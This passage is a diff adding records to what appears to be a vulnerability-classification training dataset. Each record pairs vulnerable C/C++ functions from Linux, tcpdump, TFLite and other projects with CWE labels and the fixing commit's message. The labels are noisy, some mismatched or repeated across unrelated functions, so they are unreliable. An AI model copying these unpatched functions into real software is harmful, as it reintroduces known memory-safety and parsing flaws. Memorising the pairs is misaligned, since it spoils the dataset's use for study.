{\n\tcase BT_CONNECT:\n\tcase BT_CONNECT2:\n\tcase BT_CONFIG:\n\t\t/* Already connecting */\n\t\tgoto wait;\n\n\tcase BT_CONNECTED:\n\t\t/* Already connected */\n\t\tgoto done;\n\n\tcase BT_OPEN:\n\tcase BT_BOUND:\n\t\t/* Can connect */\n\t\tbreak;\n\n\tdefault:\n\t\terr = -EBADFD;\n\t\tgoto done;\n\t}\n\n\t/* Set destination address and psm */\n\tbacpy(&bt_sk(sk)->dst, &la.l2_bdaddr);\n\tl2cap_pi(sk)->psm = la.l2_psm;\n\n\terr = l2cap_do_connect(sk);\n\tif (err)\n\t\tgoto done;\n\nwait:\n\terr = bt_sock_wait_state(sk, BT_CONNECTED,\n\t\t\tsock_sndtimeo(sk, flags & O_NONBLOCK));\ndone:\n\trelease_sock(sk);\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200', 'CWE-119', 'CWE-787'], 'message': 'Bluetooth: Add configuration support for ERTM and Streaming mode\n\nAdd support to config_req and config_rsp to configure ERTM and Streaming\nmode. If the remote device specifies ERTM or Streaming mode, then the\nsame mode is proposed. Otherwise ERTM or Basic mode is used. And in case\nof a state 2 device, the remote device should propose the same mode. If\nnot, then the channel gets disconnected.\n\nSigned-off-by: Gustavo F. Padovan \nSigned-off-by: Marcel Holtmann '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void nfs4_xdr_enc_getacl(struct rpc_rqst *req, struct xdr_stream *xdr,\n\t\t\t\tstruct nfs_getaclargs *args)\n{\n\tstruct compound_hdr hdr = {\n\t\t.minorversion = nfs4_xdr_minorversion(&args->seq_args),\n\t};\n\tuint32_t replen;\n\n\tencode_compound_hdr(xdr, req, &hdr);\n\tencode_sequence(xdr, &args->seq_args, &hdr);\n\tencode_putfh(xdr, args->fh, &hdr);\n\treplen = hdr.replen + op_decode_hdr_maxsz + nfs4_fattr_bitmap_maxsz + 1;\n\tencode_getattr_two(xdr, FATTR4_WORD0_ACL, 0, &hdr);\n\n\txdr_inline_pages(&req->rq_rcv_buf, replen << 2,\n\t\targs->acl_pages, args->acl_pgbase, args->acl_len);\n\tencode_nops(&hdr);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-189'], 'message': 'NFSv4: include bitmap in nfsv4 get acl data\n\nThe NFSv4 bitmap size is unbounded: a server can return an arbitrary\nsized bitmap in an FATTR4_WORD0_ACL request.  Replace using the\nnfs4_fattr_bitmap_maxsz as a guess to the maximum bitmask returned by a server\nwith the inclusion of the bitmap (xdr length plus bitmasks) and the acl data\nxdr length to the (cached) acl page data.\n\nThis is a general solution to commit e5012d1f \"NFSv4.1: update\nnfs4_fattr_bitmap_maxsz\" and fixes hitting a BUG_ON in xdr_shrink_bufhead\nwhen getting ACLs.\n\nFix a bug in decode_getacl that returned -EINVAL on ACLs > page when getxattr\nwas called with a NULL buffer, preventing ACL > PAGE_SIZE from being retrieved.\n\nCc: stable@kernel.org\nSigned-off-by: Andy Adamson \nSigned-off-by: Trond Myklebust '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: MYSOFA_EXPORT struct MYSOFA_HRTF* mysofa_load(const char *filename, int *err) {\n\tstruct READER reader;\n\tstruct MYSOFA_HRTF *hrtf = NULL;\n\n\tif (filename == NULL)\n\t\tfilename = CMAKE_INSTALL_PREFIX \"/share/libmysofa/default.sofa\";\n\n\tif (strcmp(filename, \"-\"))\n\t\treader.fhd = fopen(filename, \"rb\");\n\telse\n\t\treader.fhd = stdin;\n\n\tif (!reader.fhd) {\n\t\tlog(\"cannot open file %s\\n\", filename);\n\t\t*err = errno;\n\t\treturn NULL;\n\t}\n\treader.gcol = NULL;\n\treader.all = NULL;\n\n\t*err = superblockRead(&reader, &reader.superblock);\n\n\tif (!*err) {\n\t\thrtf = getHrtf(&reader, err);\n\t}\n\n\tsuperblockFree(&reader, &reader.superblock);\n\tgcolFree(reader.gcol);\n\tif (strcmp(filename, \"-\"))\n\t\tfclose(reader.fhd);\n\n\treturn hrtf;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476', 'CWE-787'], 'message': 'Fixed recursive function calls'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static const uint8_t *get_signature(const uint8_t *asn1_sig, int *len)\n{\n    int offset = 0;\n    const uint8_t *ptr = NULL;\n\n    if (asn1_next_obj(asn1_sig, &offset, ASN1_SEQUENCE) < 0 || \n            asn1_skip_obj(asn1_sig, &offset, ASN1_SEQUENCE))\n        goto end_get_sig;\n\n    if (asn1_sig[offset++] != ASN1_OCTET_STRING)\n        goto end_get_sig;\n    *len = get_asn1_length(asn1_sig, &offset);\n    ptr = &asn1_sig[offset];          /* all ok */\n\nend_get_sig:\n    return ptr;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-347'], 'message': 'Apply CVE fixes for X509 parsing\n\nApply patches developed by Sze Yiu which correct a vulnerability in\nX509 parsing.  See CVE-2018-16150 and CVE-2018-16149 for more info.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void clear_rulist(rzip_control *control)\n{\n\twhile (control->ruhead) {\n\t\tstruct runzip_node *node = control->ruhead;\n\t\tstruct stream_info *sinfo = node->sinfo;\n\n\t\tdealloc(sinfo->ucthreads);\n\t\tdealloc(node->pthreads);\n\t\tdealloc(sinfo->s);\n\t\tdealloc(sinfo);\n\t\tcontrol->ruhead = node->prev;\n\t\tdealloc(node);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'Fix possible race condition between zpaq_decompress_buf() and clear_rulist() function as reported by wcventure.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void l2cap_sock_destruct(struct sock *sk)\n{\n\tBT_DBG(\"sk %p\", sk);\n\n\tif (l2cap_pi(sk)->chan)\n\t\tl2cap_chan_put(l2cap_pi(sk)->chan);\n\n\tif (l2cap_pi(sk)->rx_busy_skb) {\n\t\tkfree_skb(l2cap_pi(sk)->rx_busy_skb);\n\t\tl2cap_pi(sk)->rx_busy_skb = NULL;\n\t}\n\n\tskb_queue_purge(&sk->sk_receive_queue);\n\tskb_queue_purge(&sk->sk_write_queue);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Bluetooth: fix use-after-free error in lock_sock_nested()\n\nuse-after-free error in lock_sock_nested is reported:\n\n[  179.140137][ T3731] =====================================================\n[  179.142675][ T3731] BUG: KMSAN: use-after-free in lock_sock_nested+0x280/0x2c0\n[  179.145494][ T3731] CPU: 4 PID: 3731 Comm: kworker/4:2 Not tainted 5.12.0-rc6+ #54\n[  179.148432][ T3731] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014\n[  179.151806][ T3731] Workqueue: events l2cap_chan_timeout\n[  179.152730][ T3731] Call Trace:\n[  179.153301][ T3731]  dump_stack+0x24c/0x2e0\n[  179.154063][ T3731]  kmsan_report+0xfb/0x1e0\n[  179.154855][ T3731]  __msan_warning+0x5c/0xa0\n[  179.155579][ T3731]  lock_sock_nested+0x280/0x2c0\n[  179.156436][ T3731]  ? kmsan_get_metadata+0x116/0x180\n[  179.157257][ T3731]  l2cap_sock_teardown_cb+0xb8/0x890\n[  179.158154][ T3731]  ? __msan_metadata_ptr_for_load_8+0x10/0x20\n[  179.159141][ T3731]  ? kmsan_get_metadata+0x116/0x180\n[  179.159994][ T3731]  ? kmsan_get_shadow_origin_ptr+0x84/0xb0\n[  179.160959][ T3731]  ? l2cap_sock_recv_cb+0x420/0x420\n[  179.161834][ T3731]  l2cap_chan_del+0x3e1/0x1d50\n[  179.162608][ T3731]  ? kmsan_get_metadata+0x116/0x180\n[  179.163435][ T3731]  ? kmsan_get_shadow_origin_ptr+0x84/0xb0\n[  179.164406][ T3731]  l2cap_chan_close+0xeea/0x1050\n[  179.165189][ T3731]  ? kmsan_internal_unpoison_shadow+0x42/0x70\n[  179.166180][ T3731]  l2cap_chan_timeout+0x1da/0x590\n[  179.167066][ T3731]  ? __msan_metadata_ptr_for_load_8+0x10/0x20\n[  179.168023][ T3731]  ? l2cap_chan_create+0x560/0x560\n[  179.168818][ T3731]  process_one_work+0x121d/0x1ff0\n[  179.169598][ T3731]  worker_thread+0x121b/0x2370\n[  179.170346][ T3731]  kthread+0x4ef/0x610\n[  179.171010][ T3731]  ? process_one_work+0x1ff0/0x1ff0\n[  179.171828][ T3731]  ? kthread_blkcg+0x110/0x110\n[  179.172587][ T3731]  ret_from_fork+0x1f/0x30\n[  179.173348][ T3731]\n[  179.173752][ T3731] Uninit was created at:\n[  179.174409][ T3731]  kmsan_internal_poison_shadow+0x5c/0xf0\n[  179.175373][ T3731]  kmsan_slab_free+0x76/0xc0\n[  179.176060][ T3731]  kfree+0x3a5/0x1180\n[  179.176664][ T3731]  __sk_destruct+0x8af/0xb80\n[  179.177375][ T3731]  __sk_free+0x812/0x8c0\n[  179.178032][ T3731]  sk_free+0x97/0x130\n[  179.178686][ T3731]  l2cap_sock_release+0x3d5/0x4d0\n[  179.179457][ T3731]  sock_close+0x150/0x450\n[  179.180117][ T3731]  __fput+0x6bd/0xf00\n[  179.180787][ T3731]  ____fput+0x37/0x40\n[  179.181481][ T3731]  task_work_run+0x140/0x280\n[  179.182219][ T3731]  do_exit+0xe51/0x3e60\n[  179.182930][ T3731]  do_group_exit+0x20e/0x450\n[  179.183656][ T3731]  get_signal+0x2dfb/0x38f0\n[  179.184344][ T3731]  arch_do_signal_or_restart+0xaa/0xe10\n[  179.185266][ T3731]  exit_to_user_mode_prepare+0x2d2/0x560\n[  179.186136][ T3731]  syscall_exit_to_user_mode+0x35/0x60\n[  179.186984][ T3731]  do_syscall_64+0xc5/0x140\n[  179.187681][ T3731]  entry_SYSCALL_64_after_hwframe+0x44/0xae\n[  179.188604][ T3731] =====================================================\n\nIn our case, there are two Thread A and B:\n\nContext: Thread A:              Context: Thread B:\n\nl2cap_chan_timeout()            __se_sys_shutdown()\n  l2cap_chan_close()              l2cap_sock_shutdown()\n    l2cap_chan_del()                l2cap_chan_close()\n      l2cap_sock_teardown_cb()        l2cap_sock_teardown_cb()\n\nOnce l2cap_sock_teardown_cb() excuted, this sock will be marked as SOCK_ZAPPED,\nand can be treated as killable in l2cap_sock_kill() if sock_orphan() has\nexcuted, at this time we close sock through sock_close() which end to call\nl2cap_sock_kill() like Thread C:\n\nContext: Thread C:\n\nsock_close()\n  l2cap_sock_release()\n    sock_orphan()\n    l2cap_sock_kill()  #free sock if refcnt is 1\n\nIf C completed, Once A or B reaches l2cap_sock_teardown_cb() again,\nuse-after-free happened.\n\nWe should set chan->data to NULL if sock is destructed, for telling teardown\noperation is not allowed in l2cap_sock_teardown_cb(), and also we should\navoid killing an already killed socket in l2cap_sock_close_cb().\n\nSigned-off-by: Wang ShaoBo \nSigned-off-by: Luiz Augusto von Dentz \nSigned-off-by: Marcel Holtmann '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: resp_get_length(netdissect_options *ndo, register const u_char *bp, int len, const u_char **endp)\n{\n    int result;\n    u_char c;\n    int saw_digit;\n    int neg;\n    int too_large;\n\n    if (len == 0)\n        goto trunc;\n    ND_TCHECK(*bp);\n    too_large = 0;\n    neg = 0;\n    if (*bp == '-') {\n        neg = 1;\n        bp++;\n        len--;\n    }\n    result = 0;\n    saw_digit = 0;\n\n    for (;;) {\n        if (len == 0)\n            goto trunc;\n        ND_TCHECK(*bp);\n        c = *bp;\n        if (!(c >= '0' && c <= '9')) {\n            if (!saw_digit)\n                goto invalid;\n            break;\n        }\n        c -= '0';\n        if (result > (INT_MAX / 10)) {\n            /* This will overflow an int when we multiply it by 10. */\n            too_large = 1;\n        } else {\n            result *= 10;\n            if (result == INT_MAX && c > (INT_MAX % 10)) {\n                /* This will overflow an int when we add c */\n                too_large = 1;\n            } else\n                result += c;\n        }\n        bp++;\n        len--;\n        saw_digit = 1;\n    }\n    if (!saw_digit)\n        goto invalid;\n\n    /*\n     * OK, the next thing should be \\r\\n.\n     */\n    if (len == 0)\n        goto trunc;\n    ND_TCHECK(*bp);\n    if (*bp != '\\r')\n        goto invalid;\n    bp++;\n    len--;\n    if (len == 0)\n        goto trunc;\n    ND_TCHECK(*bp);\n    if (*bp != '\\n')\n        goto invalid;\n    bp++;\n    len--;\n    *endp = bp;\n    if (neg) {\n        /* -1 means \"null\", anything else is invalid */\n        if (too_large || result != 1)\n            return (-4);\n        result = -1;\n    }\n    return (too_large ? -3 : result);\n\ntrunc:\n    return (-2);\n\ninvalid:\n    return (-5);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-399', 'CWE-835'], 'message': 'CVE-2017-12989/RESP: Make sure resp_get_length() advances the pointer for invalid lengths.\n\nMake sure that it always sends *endp before returning and that, for\ninvalid lengths where we don't like a character in the length string,\nwhat it sets *endp to is past the character in question, so we don't\nrun the risk of infinitely looping (or doing something else random) if a\ncharacter in the length is invalid.\n\nThis fixes an infinite loop discovered by Forcepoint's security\nresearchers Otto Airamo & Antti Levom\u00e4ki.\n\nAdd a test using the capture file supplied by the reporter(s).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: check_entry_size_and_hooks(struct ip6t_entry *e,\n\t\t\t   struct xt_table_info *newinfo,\n\t\t\t   const unsigned char *base,\n\t\t\t   const unsigned char *limit,\n\t\t\t   const unsigned int *hook_entries,\n\t\t\t   const unsigned int *underflows,\n\t\t\t   unsigned int valid_hooks)\n{\n\tunsigned int h;\n\tint err;\n\n\tif ((unsigned long)e % __alignof__(struct ip6t_entry) != 0 ||\n\t    (unsigned char *)e + sizeof(struct ip6t_entry) >= limit ||\n\t    (unsigned char *)e + e->next_offset > limit) {\n\t\tduprintf(\"Bad offset %p\\n\", e);\n\t\treturn -EINVAL;\n\t}\n\n\tif (e->next_offset\n\t    < sizeof(struct ip6t_entry) + sizeof(struct xt_entry_target)) {\n\t\tduprintf(\"checking: element %p size %u\\n\",\n\t\t\t e, e->next_offset);\n\t\treturn -EINVAL;\n\t}\n\n\terr = check_entry(e);\n\tif (err)\n\t\treturn err;\n\n\t/* Check hooks & underflows */\n\tfor (h = 0; h < NF_INET_NUMHOOKS; h++) {\n\t\tif (!(valid_hooks & (1 << h)))\n\t\t\tcontinue;\n\t\tif ((unsigned char *)e - base == hook_entries[h])\n\t\t\tnewinfo->hook_entry[h] = hook_entries[h];\n\t\tif ((unsigned char *)e - base == underflows[h]) {\n\t\t\tif (!check_underflow(e)) {\n\t\t\t\tpr_err(\"Underflows must be unconditional and \"\n\t\t\t\t       \"use the STANDARD target with \"\n\t\t\t\t       \"ACCEPT/DROP\\n\");\n\t\t\t\treturn -EINVAL;\n\t\t\t}\n\t\t\tnewinfo->underflow[h] = underflows[h];\n\t\t}\n\t}\n\n\t/* Clear counters and comefrom */\n\te->counters = ((struct xt_counters) { 0, 0 });\n\te->comefrom = 0;\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'netfilter: x_tables: fix unconditional helper\n\nBen Hawkes says:\n\n In the mark_source_chains function (net/ipv4/netfilter/ip_tables.c) it\n is possible for a user-supplied ipt_entry structure to have a large\n next_offset field. This field is not bounds checked prior to writing a\n counter value at the supplied offset.\n\nProblem is that mark_source_chains should not have been called --\nthe rule doesn't have a next entry, so its supposed to return\nan absolute verdict of either ACCEPT or DROP.\n\nHowever, the function conditional() doesn't work as the name implies.\nIt only checks that the rule is using wildcard address matching.\n\nHowever, an unconditional rule must also not be using any matches\n(no -m args).\n\nThe underflow validator only checked the addresses, therefore\npassing the 'unconditional absolute verdict' test, while\nmark_source_chains also tested for presence of matches, and thus\nproceeeded to the next (not-existent) rule.\n\nUnify this so that all the callers have same idea of 'unconditional rule'.\n\nReported-by: Ben Hawkes \nSigned-off-by: Florian Westphal \nSigned-off-by: Pablo Neira Ayuso '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static inline bool unconditional(const struct arpt_arp *arp)\n{\n\tstatic const struct arpt_arp uncond;\n\n\treturn memcmp(arp, &uncond, sizeof(uncond)) == 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'netfilter: x_tables: fix unconditional helper\n\nBen Hawkes says:\n\n In the mark_source_chains function (net/ipv4/netfilter/ip_tables.c) it\n is possible for a user-supplied ipt_entry structure to have a large\n next_offset field. This field is not bounds checked prior to writing a\n counter value at the supplied offset.\n\nProblem is that mark_source_chains should not have been called --\nthe rule doesn't have a next entry, so its supposed to return\nan absolute verdict of either ACCEPT or DROP.\n\nHowever, the function conditional() doesn't work as the name implies.\nIt only checks that the rule is using wildcard address matching.\n\nHowever, an unconditional rule must also not be using any matches\n(no -m args).\n\nThe underflow validator only checked the addresses, therefore\npassing the 'unconditional absolute verdict' test, while\nmark_source_chains also tested for presence of matches, and thus\nproceeeded to the next (not-existent) rule.\n\nUnify this so that all the callers have same idea of 'unconditional rule'.\n\nReported-by: Ben Hawkes \nSigned-off-by: Florian Westphal \nSigned-off-by: Pablo Neira Ayuso '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static ssize_t macvtap_get_user(struct macvtap_queue *q, struct msghdr *m,\n\t\t\t\tconst struct iovec *iv, unsigned long total_len,\n\t\t\t\tsize_t count, int noblock)\n{\n\tstruct sk_buff *skb;\n\tstruct macvlan_dev *vlan;\n\tunsigned long len = total_len;\n\tint err;\n\tstruct virtio_net_hdr vnet_hdr = { 0 };\n\tint vnet_hdr_len = 0;\n\tint copylen;\n\tbool zerocopy = false;\n\n\tif (q->flags & IFF_VNET_HDR) {\n\t\tvnet_hdr_len = q->vnet_hdr_sz;\n\n\t\terr = -EINVAL;\n\t\tif (len < vnet_hdr_len)\n\t\t\tgoto err;\n\t\tlen -= vnet_hdr_len;\n\n\t\terr = memcpy_fromiovecend((void *)&vnet_hdr, iv, 0,\n\t\t\t\t\t   sizeof(vnet_hdr));\n\t\tif (err < 0)\n\t\t\tgoto err;\n\t\tif ((vnet_hdr.flags & VIRTIO_NET_HDR_F_NEEDS_CSUM) &&\n\t\t     vnet_hdr.csum_start + vnet_hdr.csum_offset + 2 >\n\t\t\t\t\t\t\tvnet_hdr.hdr_len)\n\t\t\tvnet_hdr.hdr_len = vnet_hdr.csum_start +\n\t\t\t\t\t\tvnet_hdr.csum_offset + 2;\n\t\terr = -EINVAL;\n\t\tif (vnet_hdr.hdr_len > len)\n\t\t\tgoto err;\n\t}\n\n\terr = -EINVAL;\n\tif (unlikely(len < ETH_HLEN))\n\t\tgoto err;\n\n\tif (m && m->msg_control && sock_flag(&q->sk, SOCK_ZEROCOPY))\n\t\tzerocopy = true;\n\n\tif (zerocopy) {\n\t\t/* There are 256 bytes to be copied in skb, so there is enough\n\t\t * room for skb expand head in case it is used.\n\t\t * The rest buffer is mapped from userspace.\n\t\t */\n\t\tcopylen = vnet_hdr.hdr_len;\n\t\tif (!copylen)\n\t\t\tcopylen = GOODCOPY_LEN;\n\t} else\n\t\tcopylen = len;\n\n\tskb = macvtap_alloc_skb(&q->sk, NET_IP_ALIGN, copylen,\n\t\t\t\tvnet_hdr.hdr_len, noblock, &err);\n\tif (!skb)\n\t\tgoto err;\n\n\tif (zerocopy)\n\t\terr = zerocopy_sg_from_iovec(skb, iv, vnet_hdr_len, count);\n\telse\n\t\terr = skb_copy_datagram_from_iovec(skb, 0, iv, vnet_hdr_len,\n\t\t\t\t\t\t   len);\n\tif (err)\n\t\tgoto err_kfree;\n\n\tskb_set_network_header(skb, ETH_HLEN);\n\tskb_reset_mac_header(skb);\n\tskb->protocol = eth_hdr(skb)->h_proto;\n\n\tif (vnet_hdr_len) {\n\t\terr = macvtap_skb_from_vnet_hdr(skb, &vnet_hdr);\n\t\tif (err)\n\t\t\tgoto err_kfree;\n\t}\n\n\trcu_read_lock_bh();\n\tvlan = rcu_dereference_bh(q->vlan);\n\t/* copy skb_ubuf_info for callback when skb has no error */\n\tif (zerocopy) {\n\t\tskb_shinfo(skb)->destructor_arg = m->msg_control;\n\t\tskb_shinfo(skb)->tx_flags |= SKBTX_DEV_ZEROCOPY;\n\t}\n\tif (vlan)\n\t\tmacvlan_start_xmit(skb, vlan->dev);\n\telse\n\t\tkfree_skb(skb);\n\trcu_read_unlock_bh();\n\n\treturn total_len;\n\nerr_kfree:\n\tkfree_skb(skb);\n\nerr:\n\trcu_read_lock_bh();\n\tvlan = rcu_dereference_bh(q->vlan);\n\tif (vlan)\n\t\tvlan->dev->stats.tx_dropped++;\n\trcu_read_unlock_bh();\n\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'macvtap: zerocopy: validate vectors before building skb\n\nThere're several reasons that the vectors need to be validated:\n\n- Return error when caller provides vectors whose num is greater than UIO_MAXIOV.\n- Linearize part of skb when userspace provides vectors grater than MAX_SKB_FRAGS.\n- Return error when userspace provides vectors whose total length may exceed\n- MAX_SKB_FRAGS * PAGE_SIZE.\n\nSigned-off-by: Jason Wang \nSigned-off-by: Michael S. Tsirkin '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus EvalImpl(TfLiteContext* context, const TfLiteTensor* input,\n                      TfLiteNode* node) {\n  // Map from value, to index in the unique elements vector.\n  // Note that we prefer to use map than unordered_map as it showed less\n  // increase in the binary size.\n  std::map unique_values;\n  TfLiteTensor* output_indexes = GetOutput(context, node, 1);\n  std::vector output_values;\n  I* indexes = GetTensorData(output_indexes);\n  const T* data = GetTensorData(input);\n  const int num_elements = NumElements(input);\n\n  for (int i = 0; i < num_elements; ++i) {\n    const auto element_it = unique_values.find(data[i]);\n    if (element_it != unique_values.end()) {\n      indexes[i] = element_it->second;\n    } else {\n      const int unique_index = unique_values.size();\n      unique_values[data[i]] = unique_index;\n      indexes[i] = unique_index;\n      output_values.push_back(data[i]);\n    }\n  }\n  // Allocate output tensor.\n  TfLiteTensor* unique_output = GetOutput(context, node, 0);\n  std::unique_ptr shape(\n      TfLiteIntArrayCreate(NumDimensions(input)), TfLiteIntArrayFree);\n  shape->data[0] = unique_values.size();\n  TF_LITE_ENSURE_STATUS(\n      context->ResizeTensor(context, unique_output, shape.release()));\n  // Set the values in the output tensor.\n  T* output_unique_values = GetTensorData(unique_output);\n  for (int i = 0; i < output_values.size(); ++i) {\n    output_unique_values[i] = output_values[i];\n  }\n  return kTfLiteOk;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n  TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);\n  // TODO(b/137042749): TFLite infrastructure (converter, delegate) doesn't\n  // fully support 0-output ops yet. Currently it works if we manually crfat\n  // a TFLite graph that contains variable ops. Note:\n  // * The TFLite Converter need to be changed to be able to produce an op\n  //   with 0 output.\n  // * The delegation code need to be changed to handle 0 output ops. However\n  //   everything still works fine when variable ops aren't used.\n  TF_LITE_ENSURE_EQ(context, NumOutputs(node), 0);\n\n  const TfLiteTensor* input_resource_id_tensor =\n      GetInput(context, node, kInputVariableId);\n  TF_LITE_ENSURE_EQ(context, input_resource_id_tensor->type, kTfLiteInt32);\n  TF_LITE_ENSURE_EQ(context, NumElements(input_resource_id_tensor), 1);\n\n  return kTfLiteOk;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n  const TfLiteTensor* input = GetInput(context, node, 0);\n  TfLiteTensor* output_index_tensor = GetOutput(context, node, 1);\n  TF_LITE_ENSURE_EQ(context, NumElements(output_index_tensor),\n                    NumElements(input));\n\n  switch (input->type) {\n    case kTfLiteInt8:\n      TF_LITE_ENSURE_STATUS(EvalImpl(context, input, node));\n      break;\n    case kTfLiteInt16:\n      TF_LITE_ENSURE_STATUS(EvalImpl(context, input, node));\n      break;\n    case kTfLiteInt32:\n      TF_LITE_ENSURE_STATUS(EvalImpl(context, input, node));\n      break;\n    case kTfLiteInt64:\n      TF_LITE_ENSURE_STATUS(EvalImpl(context, input, node));\n      break;\n    case kTfLiteFloat32:\n      TF_LITE_ENSURE_STATUS(EvalImpl(context, input, node));\n      break;\n    case kTfLiteUInt8:\n      TF_LITE_ENSURE_STATUS(EvalImpl(context, input, node));\n      break;\n    default:\n      context->ReportError(context, \"Currently Unique doesn't support type: %s\",\n                           TfLiteTypeGetName(input->type));\n      return kTfLiteError;\n  }\n  return kTfLiteOk;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': '[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56'"
+  },
+  {
